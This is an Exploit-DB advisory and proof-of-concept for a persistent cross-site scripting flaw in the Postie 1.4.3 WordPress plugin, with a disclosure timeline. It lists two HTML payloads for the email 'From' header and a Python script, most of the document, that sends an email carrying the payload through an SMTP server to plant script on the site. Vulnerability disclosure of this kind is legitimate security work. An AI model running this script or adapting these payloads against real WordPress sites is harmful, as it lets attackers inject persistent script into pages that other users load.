WordPress Plugin postie 1.4.3 - Persistent Cross-Site Scripting

EDB-ID:

20360




Platform:

PHP

Date:

2012-08-08


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Postie
Version: 1.4.3
Software Download: http://wordpress.org/extend/plugins/postie/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update received from CERT. Vendor was advised to contact researcher. No other contact received.
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: From
Injection Payload(s):
1: <BODY ONLOAD=alert('XSS')> 
2: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

'''


import smtplib, urllib2
  
payload = """<BODY ONLOAD=alert('XSS')>"""
  
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local" + payload + "\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
  
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
  
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)